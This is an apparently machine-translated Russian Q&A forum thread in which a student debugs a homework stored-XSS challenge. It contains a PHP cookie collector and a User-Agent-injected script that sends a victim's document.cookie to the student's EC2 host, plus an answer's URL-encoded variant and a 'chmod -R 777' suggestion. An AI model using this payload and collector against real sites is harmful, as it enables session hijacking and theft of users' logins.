Переменная не будет передана в PHP через URL

#php #amazon-web-services #cookies #webserver #xss

#php #amazon-web-services #файлы cookie #веб-сервер #xss

Вопрос:

Я выполняю это домашнее задание по постоянному межсайтовому скриптингу, мы должны украсть cookie с помощью внедрения пользовательского агента. Более подробную информацию об этой задаче можно найти на этой странице (basic 41):

Предыстория:

поскольку эта проблема возникает на игрушечном веб-сайте, веб-сайт имитирует просмотр страницы жертвой для нас. Что нам нужно сделать, так это внедрить код на сервер страницы запроса и с помощью этого кода украсть cookie жертвы и отправить эти cookie на веб-сервер, который мы настроили сами. Как только мы успешно соберем файлы cookie жертв, мы можем установить для нашего собственного файла cookie эти значения, чтобы передать вызов.

Что я делал до сих пор:

  1. Настройте веб-сервер на aws ec2 . Я полагаю, что это centos, но не могу найти дополнительную информацию о выпуске, поскольку возникают проблемы с установкой centos-release package или что-то в этом роде. Все, что я могу найти, это только: Amazon Linux AMI 2018.03.0.20181129 x86_64 HVM gp2 . Правила для входящих сообщений установлены на порт 22 для ssh и порт 80 для http . httpd, mysql, php установлены и протестированы в рабочем состоянии. Файл index.html под /var/www/http обычно отображается в браузере.

  2. Поместите cookie_stealer.php под /var/www/http

    Мой код cookie_stealer.php :

 <?php
$cookie = isset($_GET['c']) ? $_GET['c'] : 'There is no variable c';
$fp = fopen('log.txt', 'a ');
fwrite($fp, 'Cookie:' .$cookie."rn");
fclose($fp);
?>
  
  1. Внедрить код в пользовательский агент Chrome:
 <script type="text/javascript">document.location="ec2-52-91-99-56.compute-1.amazonaws.com/cookiesteal-simple.php?c=" document.cookie</script>
  

Пока что я успешно внедрил код, но значение document.cookie не будет передано в мой php-файл. Поэтому в настоящее время я сосредоточен на этой проблеме.

  1. дополнительная информация

Я тестирую, как передать переменную в php, тестируя через url:

 http://ec2-52-91-99-56.compute-1.amazonaws.com/cookie.php?c=ahhh
  

интересная (СТРАННАЯ!!) вещь заключается в том, что после того, как я добавил следующую строку в свой php-файл после $_GET['c'] строки:

 echo 'Cookie: ' . $cookie . "rn";
  

значение c может быть напечатано на веб-странице как ahhh , но не записано в log.txt . log.txt Записывается только это:

 Cookie:There is no variable c
Cookie:There is no variable c
Cookie:There is no variable c
Cookie:There is no variable c
  

Мой вопрос в том, если переменная c передается $cookie на сервер, почему этот троичный оператор всегда возвращается 'There is no variable c' при отображении веб-страницы ahhh . Кто-нибудь может сказать мне, почему это происходит или где еще я могу посмотреть? Любой намек был бы оценен!

Комментарии:

1. «Итак, я понимаю, что мой cookie_stealer.php по какой-то причине выполняется только локально в Chrome » Это неверно. Chrome даже не знает, как запускать PHP.

2. Спасибо @Joseph Sible’у! Я рассудил, что только потому, что веб-страница может отображать переданную переменную, мой сервер не может ее прочитать. В противном случае это просто не имеет смысла вообще. Если на странице отображается только значение с сервера, для меня так странно, что сервер не может читать, но страница может отображаться.

3. Браузер отображает только то, что ваш сервер передает ему, поэтому, если вы видите значение c , это означает, что ваш сервер может видеть $c='ahhh'

4. Привет @catcon, спасибо! Я все еще в замешательстве, если переменная передается на сервер, согласно моему коду, почему этот троичный оператор всегда возвращает «Нет переменной c»?

Ответ №1:

Возможно, вам потребуется изменить разрешение файла для записи в этот файл журнала. Попробуйте: chmod -R 777 log.txt

Ответ №2:

Моя первая мысль:

Возможно, вам потребуется указать URL-адрес текста cookie. Возможно, в ней есть что-то, что нарушает ваш URL-запрос.

 <script type="text/javascript">document.location="ec2-52-91-99-56.compute-1.amazonaws.com/cookiesteal-simple.php?c=" encodeURIComponent(document.cookie)</script>
  

Тогда в PHP вам может потребоваться или не потребоваться ее декодирование, если вы это сделаете, вы можете сделать это:

  $cookie = isset($_GET['c']) ? urldecode($_GET['c']) : 'There is no variable c';
  

Например, ваш инструктор, мой, вставил # знак или что-то в этом роде. Я не могу сказать наверняка, поскольку я никогда не отправлял cookie через аргумент запроса, но я не думаю, что они предназначены для отправки таким образом.

В любом случае это было слишком для комментария, надеюсь, это поможет!